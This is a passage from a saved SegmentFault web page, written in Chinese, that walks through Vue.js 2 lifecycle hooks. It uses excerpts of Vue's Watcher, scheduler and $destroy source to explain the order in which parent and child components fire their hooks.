            deactivate<span class="hljs-constructor">ChildComponent(<span class="hljs-params">componentInstance</span>, <span class="hljs-params">true</span> <span class="hljs-operator">/</span><span class="hljs-operator">*</span> <span class="hljs-params">direct</span> <span class="hljs-operator">*</span><span class="hljs-operator">/</span> )</span>;    <span class="hljs-comment">//调用子组件的 'deactivated' 钩子</span>
        }
    }
}</code></pre>
<p>调用<code>`vm</code>的<code>deactivated</code>钩子，递归调用子组件的<code>deactivated</code> 钩子：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function deactivateChildComponent() {
    ...
    for (var i = 0; i &lt; vm.$children.length; i++) {
        deactivateChildComponent(vm.$children[i]);        //递归调用子组件的 &#39;deactivated&#39; 钩子
    }
    callHook(vm, &#39;deactivated&#39;);        //调用 &#39;deactivated&#39; 钩子
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> deactivate<span class="hljs-constructor">ChildComponent()</span> {<span class="hljs-operator">
    ...
    </span><span class="hljs-keyword">for</span> (var i = <span class="hljs-number">0</span>; i &lt; vm.$children.length; i++) {
        deactivate<span class="hljs-constructor">ChildComponent(<span class="hljs-params">vm</span>.$<span class="hljs-params">children</span>[<span class="hljs-params">i</span>])</span>;        <span class="hljs-comment">//递归调用子组件的 'deactivated' 钩子</span>
    }
    call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">deactivated</span>')</span>;        <span class="hljs-comment">//调用 'deactivated' 钩子</span><span class="hljs-operator">
    ...
</span>}</code></pre>
<p>这些操作在父组件的<code>patch</code>方法中执行，父组件<code>patch</code>后，会调用<code>mounted</code>或者<code>updated</code>钩子。</p>
<h4>beforeUpdate</h4>
<p>每个组件实例都对应一个<code>watcher</code>实例，它是在<code>mountComponent</code>方法中，在调用<code>mounted</code>钩子之前实例化的：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="export function mountComponent(vm, el) {
    ...
    callHook(vm, &#39;beforeMount&#39;)
    ...
    const updateComponent = function () {
        vm._update(vm._render(), hydrating);
    };
    new Watcher(vm, updateComponent, noop, {
        before: function before () {                    //在 run 之前执行
         if (vm._isMounted &amp;&amp; !vm._isDestroyed) {
                callHook(vm, &#39;beforeUpdate&#39;);            // beforeUpdate 钩子等待执行
            }
        }
    }, true /* isRenderWatcher */);
    ...
    callHook(vm, &#39;mounted&#39;);
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs javascript"><code><span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mountComponent</span>(<span class="hljs-params">vm, el</span>) </span>{
    ...
    callHook(vm, <span class="hljs-string">'beforeMount'</span>)
    ...
    <span class="hljs-keyword">const</span> updateComponent = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
        vm._update(vm._render(), hydrating);
    };
    <span class="hljs-keyword">new</span> Watcher(vm, updateComponent, noop, {
        <span class="hljs-attr">before</span>: <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">before</span> (<span class="hljs-params"></span>) </span>{                    <span class="hljs-comment">//在 run 之前执行</span>
         <span class="hljs-keyword">if</span> (vm._isMounted &amp;&amp; !vm._isDestroyed) {
                callHook(vm, <span class="hljs-string">'beforeUpdate'</span>);            <span class="hljs-comment">// beforeUpdate 钩子等待执行</span>
            }
        }
    }, <span class="hljs-literal">true</span> <span class="hljs-comment">/* isRenderWatcher */</span>);
    ...
    callHook(vm, <span class="hljs-string">'mounted'</span>);
}</code></pre>
<p>如果是<code>RenderWatcher</code>，<code>vm._watcher</code>会用它赋值：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="var Watcher = function Watcher (vm, expOrFn, cb, options, isRenderWatcher) {
    this.vm = vm;                    //关联组件
    if (isRenderWatcher) {
        vm._watcher = this;
    }
    vm._watchers.push(this);
    ...
    this.before = options.before;
    ...
    if (typeof expOrFn === &#39;function&#39;) {
        this.getter = expOrFn;        //即 vm._watcher.getter = updateComponent
    }
    this.value = this.lazy ? undefined : this.get();    //this.get 中会调用 this.getter，所以 new Watcher 就立即调用 updateComponent
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs kotlin"><code><span class="hljs-keyword">var</span> Watcher = function Watcher (vm, expOrFn, cb, options, isRenderWatcher) {
    <span class="hljs-keyword">this</span>.vm = vm;                    <span class="hljs-comment">//关联组件</span>
    <span class="hljs-keyword">if</span> (isRenderWatcher) {
        vm._watcher = <span class="hljs-keyword">this</span>;
    }
    vm._watchers.push(<span class="hljs-keyword">this</span>);
    ...
    <span class="hljs-keyword">this</span>.before = options.before;
    ...
    <span class="hljs-keyword">if</span> (typeof expOrFn === <span class="hljs-string">'function'</span>) {
        <span class="hljs-keyword">this</span>.getter = expOrFn;        <span class="hljs-comment">//即 vm._watcher.getter = updateComponent</span>
    }
    <span class="hljs-keyword">this</span>.value = <span class="hljs-keyword">this</span>.lazy ? undefined : <span class="hljs-keyword">this</span>.<span class="hljs-keyword">get</span>();    <span class="hljs-comment">//this.get 中会调用 this.getter，所以 new Watcher 就立即调用 updateComponent</span>
}</code></pre>
<p><code>watcher</code>会在组件渲染的过程中把<code>接触</code>过的数据属性记录为依赖。之后当依赖的值发生改变，触发依赖的<code>setter</code>方法时，会通知<code>watcher</code>，从而使它关联的组件(<code>vm</code>)重新渲染。<br>一旦侦听到数据变化，<code>Vue</code>将开启一个队列，并缓冲在同一事件循环中发生的所有数据变更。如果同一个<code>watcher</code>被多次触发，只会被推入到队列中一次。<br>等当前事件循环结束，下一次事件循环开始，<code>Vue</code>会刷新队列并执行已去重的工作。<code>Vue</code>会尝试使用<code>Promise.then</code>、<code>MutationObserver</code>和<code>setImmediate</code>发布的微任务来执行<code>queue</code>中的<code>watcher</code>。</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function flushSchedulerQueue () {
    queue.sort(function (a, b) { return a.id - b.id; });    //queue 是在 Vue 构造函数中的声明的变量
    ...
    for (index = 0; index &lt; queue.length; index++) {
        watcher = queue[index];
        if (watcher.before) {
            watcher.before();        //执行 beforeUpdate 钩子函数
        }
        id = watcher.id;
        has[id] = null;
        watcher.run();    //执行 watcher
        ...
    }
    ...
    // call component updated and activated hooks
    callActivatedHooks(activatedChildren.slice());    //执行 activated 钩子函数
    callUpdatedHooks(queue.slice());        //执行 updated 钩子函数
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code><span class="hljs-keyword">function</span> flushSchedulerQueue () {
    queue.sort(<span class="hljs-keyword">function</span> (a, b) { return a.id - b.id; });    <span class="hljs-regexp">//</span>queue 是在 Vue 构造函数中的声明的变量
    ...
    <span class="hljs-keyword">for</span> (index = <span class="hljs-number">0</span>; index &lt; queue.length; index++) {
        watcher = queue[index];
        <span class="hljs-keyword">if</span> (watcher.before) {
            watcher.before();        <span class="hljs-regexp">//</span>执行 beforeUpdate 钩子函数
        }
        id = watcher.id;
        has[id] = null;
        watcher.run();    <span class="hljs-regexp">//</span>执行 watcher
        ...
    }
    ...
    <span class="hljs-regexp">//</span> call component updated and activated hooks
    callActivatedHooks(activatedChildren.slice());    <span class="hljs-regexp">//</span>执行 activated 钩子函数
    callUpdatedHooks(queue.slice());        <span class="hljs-regexp">//</span>执行 updated 钩子函数
}</code></pre>
<p>刷新前根据 <code>id</code> 对 <code>queue</code> 中的 <code>watcher</code> 进行排序。这样可以确保：</p>
<ol>
<li>父<code>watcher</code>排在子<code>watcher</code>前，组件从父级更新到子级。（因为父母总是在子级之前创建，所以<code>id</code>更小）；</li>
<li>在一个组件中，用户声明的<code>watchers</code>总是在<code>render watcher</code>之前执行，因为<code>user watchers</code>更先创建；</li>
<li>如果在父组件的<code>watcher</code>运行期间，销毁了某个子组件，可以跳过该子组件的<code>watcher</code>。</li>
</ol>
<p>在执行<code>watcher.run</code>方法之前，会执行<code>watcher.before</code>方法，从而执行<code>beforeUpdate</code>钩子函数。</p>
<h4>updated</h4>
<p>在执行<code>watcher.run</code>方法时，会调用<code>watcher.getter</code>方法，而其中某个<code>watcher</code>(<code>vm._watcher</code>)关联的就是我们的<code>vm</code>，它的<code>getter</code>是可以更新<code>vm</code>的<code>updateComponent</code>方法：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Watcher.prototype.run = function run () {
        if (this.active) {
            var value = this.get();        //调用 watcher.get 方法
            ...
        }
        ...
}
Watcher.prototype.get = function get () {
        ...
        try {
            value = this.getter.call(vm, vm);    //调用 watcher.getter 方法
        }
        ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs kotlin"><code>Watcher.prototype.run = function run () {
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.active) {
            <span class="hljs-keyword">var</span> value = <span class="hljs-keyword">this</span>.<span class="hljs-keyword">get</span>();        <span class="hljs-comment">//调用 watcher.get 方法</span>
            ...
        }
        ...
}
Watcher.prototype.<span class="hljs-keyword">get</span> = function <span class="hljs-keyword">get</span> () {
        ...
        <span class="hljs-keyword">try</span> {
            value = <span class="hljs-keyword">this</span>.getter.call(vm, vm);    <span class="hljs-comment">//调用 watcher.getter 方法</span>
        }
        ...
}</code></pre>
<p>调用<code>updateComponent</code>方法</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="updateComponent = function () {
    vm._update(vm._render(), hydrating);
};" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code>updateComponent = <span class="hljs-keyword">function</span> <span class="hljs-literal">()</span> {
    vm.<span class="hljs-constructor">_update(<span class="hljs-params">vm</span>.<span class="hljs-params">_render</span>()</span>, hydrating);
};</code></pre>
<p><code>vm._render</code>方法会重新执行<code>render</code>函数生成<code>vnode</code>，然后<code>vm._update</code>方法会将<code>vnode</code>转化为真实<code>Dom</code>，挂载到<code>HTML</code>中，并覆盖<code>vm.$el</code>。<br>等以上操作全部完成，在<code>flushSchedulerQueue</code>函数的最后会执行子组件的<code>activated</code>钩子函数和<code>vm</code>的<code>updated</code>钩子函数：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function flushSchedulerQueue () {
    ...
    callActivatedHooks(activatedChildren.slice());    //执行 activated 钩子函数
    callUpdatedHooks(queue.slice());        //执行 updated 钩子函数
}

function callUpdatedHooks (queue) {
    var i = queue.length;
    while (i--) {
        var watcher = queue[i];
        var vm = watcher.vm;
        if (vm._watcher === watcher &amp;&amp; vm._isMounted &amp;&amp; !vm._isDestroyed) {
            callHook(vm, &#39;updated&#39;);    //执行 updated 钩子函数
        }
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> flushSchedulerQueue <span class="hljs-literal">()</span> {<span class="hljs-operator">
    ...
    </span>call<span class="hljs-constructor">ActivatedHooks(<span class="hljs-params">activatedChildren</span>.<span class="hljs-params">slice</span>()</span>);    <span class="hljs-comment">//执行 activated 钩子函数</span>
    call<span class="hljs-constructor">UpdatedHooks(<span class="hljs-params">queue</span>.<span class="hljs-params">slice</span>()</span>);        <span class="hljs-comment">//执行 updated 钩子函数</span>
}

<span class="hljs-keyword">function</span> callUpdatedHooks (queue) {
    var i = queue.length;
    <span class="hljs-keyword">while</span> (i--) {
        var watcher = queue<span class="hljs-literal">[<span class="hljs-identifier">i</span>]</span>;
        var vm = watcher.vm;
        <span class="hljs-keyword">if</span> (vm._watcher<span class="hljs-operator"> === </span>watcher<span class="hljs-operator"> &amp;&amp; </span>vm._isMounted<span class="hljs-operator"> &amp;&amp; </span>!vm._isDestroyed) {
            call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">updated</span>')</span>;    <span class="hljs-comment">//执行 updated 钩子函数</span>
        }
    }
}</code></pre>
<p>在<code>updated</code>钩子函数中通过<code>this.$el</code>访问到的<code>vm.$el</code>属性的值为更新后的真实<code>Dom</code>。<br><code>beforeUpdate</code>和<code>updated</code>钩子函数的执行顺序真好相反，因为在<code>flushSchedulerQueue</code>函数中是索引递增处理<code>queue</code>中的<code>watcher</code>的，所以执行<code>beforeUpdate</code>钩子函数的顺序和<code>queue</code>中<code>watcher</code>的顺序相同；而在<code>callUpdatedHooks</code>函数中是按索引递减的顺序执行<code>_watcher</code>关联实例的<code>updated</code>钩子的，和<code>queue</code>中<code>_watcher</code>顺序相反。<br>再加上父<code>watcher</code>排在子<code>watcher</code>前，所以如果父、子组件在同一个事件循环中更新，那么生命周期钩子的执行顺序为：<br>父<code>beforeUpdate</code> =&gt; 子<code>beforeUpdate</code> =&gt; 子<code>updated</code> =&gt; 父<code>updated</code></p>
<h4>beforeDestroy</h4>
<p>调用<code>vm.$destroy</code>销毁<code>vm</code>实例：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Vue.prototype.$destroy = function() {
    var vm = this;
    if (vm._isBeingDestroyed) {
        return
    }
    callHook(vm, &#39;beforeDestroy&#39;);
    vm._isBeingDestroyed = true;
    
    // remove self from parent
    var parent = vm.$parent;
    if (parent &amp;&amp; !parent._isBeingDestroyed &amp;&amp; !vm.$options.abstract) {
        remove(parent.$children, vm);
    }
    
    // teardown watchers
    if (vm._watcher) {
        vm._watcher.teardown();
    }
    var i = vm._watchers.length;
    while (i--) {
        vm._watchers[i].teardown();
    }
    
    // remove reference from data ob
    // frozen object may not have observer.
    if (vm._data.__ob__) {
        vm._data.__ob__.vmCount--;
    }
    
    // call the last hook...
    vm._isDestroyed = true;
    // invoke destroy hooks on current rendered tree
    vm.__patch__(vm._vnode, null);
    // fire destroyed hook
    callHook(vm, &#39;destroyed&#39;);
    // turn off all instance listeners.
    vm.$off();
    // remove __vue__ reference
    if (vm.$el) {
        vm.$el.__vue__ = null;
    }
    // release circular reference (#6759)
    if (vm.$vnode) {
        vm.$vnode.parent = null;
    }
};" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype.$destroy = <span class="hljs-keyword">function</span><span class="hljs-literal">()</span> {
    var vm = this;
    <span class="hljs-keyword">if</span> (vm._isBeingDestroyed) {
        return
    }
    call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">beforeDestroy</span>')</span>;
    vm._isBeingDestroyed = <span class="hljs-literal">true</span>;
    
    <span class="hljs-comment">// remove self from parent</span>
    var parent = vm.$parent;
    <span class="hljs-keyword">if</span> (parent<span class="hljs-operator"> &amp;&amp; </span>!parent._isBeingDestroyed<span class="hljs-operator"> &amp;&amp; </span>!vm.$options.abstract) {
        remove(parent.$children, vm);
    }
    
    <span class="hljs-comment">// teardown watchers</span>
    <span class="hljs-keyword">if</span> (vm._watcher) {
        vm.<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">_watcher</span>.</span></span>teardown<span class="hljs-literal">()</span>;
    }
    var i = vm.<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">_watchers</span>.</span></span>length;
    <span class="hljs-keyword">while</span> (i--) {
        vm._watchers<span class="hljs-literal">[<span class="hljs-identifier">i</span>]</span>.teardown<span class="hljs-literal">()</span>;
    }
    
    <span class="hljs-comment">// remove reference from data ob</span>
    <span class="hljs-comment">// frozen object may not have observer.</span>
    <span class="hljs-keyword">if</span> (vm.<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">_data</span>.</span><span class="hljs-module"><span class="hljs-identifier">__ob__</span>)</span></span> {
        vm.<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">_data</span>.</span><span class="hljs-module"><span class="hljs-identifier">__ob__</span>.</span></span>vmCount--;
    }
    
    <span class="hljs-comment">// call the last hook...</span>
    vm._isDestroyed = <span class="hljs-literal">true</span>;
    <span class="hljs-comment">// invoke destroy hooks on current rendered tree</span>
    vm.<span class="hljs-constructor">__patch__(<span class="hljs-params">vm</span>.<span class="hljs-params">_vnode</span>, <span class="hljs-params">null</span>)</span>;
    <span class="hljs-comment">// fire destroyed hook</span>
    call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">destroyed</span>')</span>;
    <span class="hljs-comment">// turn off all instance listeners.</span>
    vm.<span class="hljs-constructor">$off()</span>;
    <span class="hljs-comment">// remove __vue__ reference</span>
    <span class="hljs-keyword">if</span> (vm.$el) {
        vm.$el.__vue__ = null;
    }
    <span class="hljs-comment">// release circular reference (#6759)</span>
    <span class="hljs-keyword">if</span> (vm.$vnode) {
        vm.$vnode.parent = null;
    }
};</code></pre>
<p>在调用<code>beforeDestroy</code>钩子前未进行销毁操作，所以在这一步，实例仍然完全可用。</p>
<h4>destroyed</h4>
<p><code>vm.$destroy</code>执行的操作有</p>
<ol>
<li>删除<code>vm.$parent.$children</code>中的<code>vm</code>；</li>
<li>销毁<code>vm._watcher</code>（渲染 watcher），销毁<code>vm._watchers[i]</code>中的所有<code>watcher</code>；</li>
<li>删除数据 observer 中的引用；</li>
<li>调用<code>destroyed</code>钩子函数；</li>
<li>...</li>
</ol>
<p>其中<code>vm.__patch__(vm._vnode, null)</code>可以销毁所有子实例。</p>
<h3 id="item-1-2">Vue 生命周期流程图</h3>
<p><span class="img-wrap"><img class="lazy entered loaded exited" referrerpolicy="no-referrer" data-src="/img/bVbwN5I?w=1096&amp;h=1070" alt="Vue 生命周期流程图" title="Vue 生命周期流程图" data-ll-status="loaded" src="./Vue 生命周期详解 - SegmentFault 思否_files/bVbwN5I"></span></p>
<h3 id="item-1-3">Vue 父子组件生命周期钩子执行顺序</h3>
<ol>
<li>父子组件挂载过程：父<code>beforeCreate</code> =&gt;  父<code>created</code> =&gt;  父<code>beforeMount</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code> =&gt; 子<code>mounted</code> =&gt; 父<code>mounted</code>
</li>
<li>子组件被<code>keep-alive</code>组件包裹（忽视<code>keep-alive</code>组件），父子组件挂载过程：父<code>beforeCreate</code> =&gt;  父<code>created</code> =&gt;  父<code>beforeMount</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code> =&gt; 子<code>mounted</code> =&gt; 子<code>activated</code> =&gt; 父<code>mounted</code>
</li>
<li>只修改父组件或子组件的数据：<code>beforeUpdate</code> =&gt; <code>updated</code>
</li>
<li>在同一事件循环中修改父子组件的数据（无论先后）：父<code>beforeUpdate</code> =&gt; 子<code>beforeUpdate</code> =&gt; 子<code>updated</code> =&gt; 父<code>updated</code>
</li>
<li>父组件将数据传给子组件的一个 prop，且它们分别是父、子组件的依赖，在修改父组件的数据时：父<code>beforeUpdate</code> =&gt; 子<code>beforeUpdate</code> =&gt; 子<code>updated</code> =&gt; 父<code>updated</code>
</li>
<li>子组件的<code>v-show</code>指令绑定父组件的数据，在修改父组件的数据时：父<code>beforeUpdate</code> =&gt; 父<code>updated</code>，子组件保持<code>mounted</code>状态不变；</li>
<li>子组件的<code>v-show</code>指令绑定父组件的数据，子组件被<code>keep-alive</code>组件包裹，在修改父组件的数据时：父<code>beforeUpdate</code> =&gt; 父<code>updated</code>，子组件保持<code>activated</code>状态不变；</li>
<li>
<p>子组件的<code>v-if</code>指令绑定父组件的数据，在修改父组件的数据时：</p>
<ol>
<li>true =&gt; false: 父<code>beforeUpdate</code> =&gt; 子<code>beforeDestroy</code> =&gt; 子<code>destroyed</code> =&gt; 父<code>updated</code>
</li>
<li>false =&gt; true: 父<code>beforeUpdate</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code> =&gt; 子<code>mounted</code> =&gt; 父<code>updated</code>
</li>
</ol>
</li>
<li>
<p>子组件的<code>v-if</code>指令绑定父组件的数据，子组件被<code>keep-alive</code>组件包裹，在修改父组件的数据时：</p>
<ol>
<li>true =&gt; false: 父<code>beforeUpdate</code> =&gt; 子<code>deactivated</code> =&gt; 父<code>updated</code>
</li>
<li>首次 false =&gt; true: 父<code>beforeUpdate</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code> =&gt; 子<code>mounted</code> =&gt; 子<code>activated</code> =&gt; 父<code>updated</code>
</li>
<li>再次 false =&gt; true: 父<code>beforeUpdate</code> =&gt; 子<code>activated</code> =&gt; 父<code>updated</code>
</li>
</ol>
</li>
<li>子组件的<code>is</code>属性绑定父组件的数据，父组件将子组件一切换为子组件二：<br>父<code>beforeUpdate</code> =&gt; 子二<code>beforeCreate</code> =&gt; 子二<code>created</code> =&gt; 子二<code>beforeMount</code> =&gt; 子二<code>mounted</code> =&gt; 父<code>beforeUpdate</code> =&gt; 子一<code>beforeDestroy</code> =&gt; 子一<code>destroyed</code> =&gt; 父<code>updated</code> =&gt; 父<code>updated</code>
</li>
<li>
<p>子组件的<code>is</code>属性绑定父组件的数据，子组件被<code>keep-alive</code>组件包裹，父组件将子组件一切换为子组件二：</p>
<ol>
<li>首次：父<code>beforeUpdate</code> =&gt; 父<code>beforeUpdate</code> =&gt; 子二<code>beforeCreate</code> =&gt; 子二<code>created</code> =&gt; 子二<code>beforeMount</code> =&gt; 子一<code>deactivated</code> =&gt; 子二<code>mounted</code> =&gt; 子二<code>activated</code> =&gt; 父<code>updated</code> =&gt; 父<code>updated</code>
</li>
<li>再次：父<code>beforeUpdate</code> =&gt; 子一<code>deactivated</code> =&gt; 子二<code>activated</code> =&gt; 父<code>updated</code>
</li>
</ol>
</li>
</ol>
<p>动态组件触发两次父<code>beforeUpdate</code>、<code>updated</code>的原因：<br>在第一次事件循环只触发了一次父组件的<code>_watcher</code>，在调用 <code>render</code>函数重新生成父组件<code>vnode</code>的过程中：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="var render = function() {    //Vue 编译 template 而来的 render 函数
  var _vm = this
  var _h = _vm.$createElement
  var _c = _vm._self._c || _h
  return _c(
    &quot;div&quot;,
    { attrs: { id: &quot;app&quot; } },
    [
      _c(&quot;img&quot;, {
        attrs: { alt: &quot;Vue logo&quot;, src: require(&quot;./assets/logo.png&quot;) }
      }),
      _c(&quot;p&quot;, [_vm._v(_vm._s(_vm.message))]),
            //被 keep-alive 组件包裹的情况，在生成 keep-alive 组件的 vnode 时，第二次触发了父组件的`_watcher`
      _c(&quot;keep-alive&quot;, [_c(_vm.now, { tag: &quot;component&quot; })], 1)
            //不被 keep-alive 组件包裹的情况，在生成子二组件的`vnode`时，第二次触发了父组件的`_watcher`
            _c(_vm.now, { tag: &quot;component&quot; })
        ],
    1
  )
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs sqf"><code>var render = function() {    <span class="hljs-comment">//Vue 编译 template 而来的 render 函数</span>
  var <span class="hljs-variable">_vm</span> = this
  var <span class="hljs-variable">_h</span> = <span class="hljs-variable">_vm</span>.$createElement
  var <span class="hljs-variable">_c</span> = <span class="hljs-variable">_vm</span>.<span class="hljs-variable">_self</span>.<span class="hljs-variable">_c</span> || <span class="hljs-variable">_h</span>
  return <span class="hljs-variable">_c</span>(
    <span class="hljs-string">"div"</span>,
    { attrs: { id: <span class="hljs-string">"app"</span> } },
    [
      <span class="hljs-variable">_c</span>(<span class="hljs-string">"img"</span>, {
        attrs: { alt: <span class="hljs-string">"Vue logo"</span>, src: require(<span class="hljs-string">"./assets/logo.png"</span>) }
      }),
      <span class="hljs-variable">_c</span>(<span class="hljs-string">"p"</span>, [<span class="hljs-variable">_vm</span>.<span class="hljs-variable">_v</span>(<span class="hljs-variable">_vm</span>.<span class="hljs-variable">_s</span>(<span class="hljs-variable">_vm</span>.message))]),
            <span class="hljs-comment">//被 keep-alive 组件包裹的情况，在生成 keep-alive 组件的 vnode 时，第二次触发了父组件的`_watcher`</span>
      <span class="hljs-variable">_c</span>(<span class="hljs-string">"keep-alive"</span>, [<span class="hljs-variable">_c</span>(<span class="hljs-variable">_vm</span>.now, { tag: <span class="hljs-string">"component"</span> })], <span class="hljs-number">1</span>)
            <span class="hljs-comment">//不被 keep-alive 组件包裹的情况，在生成子二组件的`vnode`时，第二次触发了父组件的`_watcher`</span>
            <span class="hljs-variable">_c</span>(<span class="hljs-variable">_vm</span>.now, { tag: <span class="hljs-string">"component"</span> })
        ],
    <span class="hljs-number">1</span>
  )
}</code></pre>
<p>其实 keep-alive 组件情况更具体一点，也是在生成 keep-alive 组件的孩子，子二组件的<code>vnode</code>时触发的<code>_watcher</code>。<br>然后这个<code>watcher</code>会被插到<code>queue</code>中当前<code>wacther</code>的后面（根据 <code>wacther.id</code>的大小插入正确的位置）：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function queueWatcher(watcher) {
    var id = watcher.id;
    if (has[id] == null) {    //在 flushSchedulerQueue 中，执行 watcher.run 之前，已经令 has[id] = null;
        has[id] = true;        //所以同 id 的 wacther 可以被插入 queue 中
        if (!flushing) {
            queue.push(watcher);
        } else {
            // if already flushing, splice the watcher based on its id
            // if already past its id, it will be run next immediately.
            var i = queue.length - 1;
            while (i &gt; index &amp;&amp; queue[i].id &gt; watcher.id) {
                i--;
            }
            queue.splice(i + 1, 0, watcher);
        }
    }
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs gml"><code><span class="hljs-keyword">function</span> queueWatcher(watcher) {
    <span class="hljs-keyword">var</span> <span class="hljs-symbol">id</span> = watcher.<span class="hljs-symbol">id</span>;
    <span class="hljs-keyword">if</span> (has[<span class="hljs-symbol">id</span>] == null) {    <span class="hljs-comment">//在 flushSchedulerQueue 中，执行 watcher.run 之前，已经令 has[id] = null;</span>
        has[<span class="hljs-symbol">id</span>] = <span class="hljs-literal">true</span>;        <span class="hljs-comment">//所以同 id 的 wacther 可以被插入 queue 中</span>
        <span class="hljs-keyword">if</span> (!flushing) {
            queue.push(watcher);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">// if already flushing, splice the watcher based on its id</span>
            <span class="hljs-comment">// if already past its id, it will be run next immediately.</span>
            <span class="hljs-keyword">var</span> i = queue.length - <span class="hljs-number">1</span>;
            <span class="hljs-keyword">while</span> (i &gt; index &amp;&amp; queue[i].<span class="hljs-symbol">id</span> &gt; watcher.<span class="hljs-symbol">id</span>) {
                i--;
            }
            queue.splice(i + <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, watcher);
        }
    }
    ...
}</code></pre>
<p>等当前<code>watcher.run</code>执行完，再执行它。</p>
</article><div class="d-flex flex-wrap align-items-center "><div class="m-n1"><a href="https://segmentfault.com/t/javascript" class="m-1 badge-tag">javascript</a><a href="https://segmentfault.com/t/vue.js" class="m-1 badge-tag">vue.js</a></div></div><div class="my-4"><div id="OA_holder_3" class="ad-container" style="display:block"><div class="d-none d-lg-flex justify-content-center">
<a href="https://sponsor.segmentfault.com/ck.php?oaparams=2__bannerid=483__zoneid=3__cb=d20f0008fe__oadest=https%3A%2F%2Fwww.jdcloud.com%2Fcn%2Factivity%2F618%3Futm_source%3DMO_sf618%26utm_medium%3Dbanner%26utm_campaign%3D2021SegmentFault%26utm_term%3DNA" target="_blank"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/f76ad22574ee0d5348dea482263c1043.png" width="728" height="90" alt="" title="" border="0"></a><div id="beacon_d20f0008fe" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(3).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div></div><script type="text/javascript">var 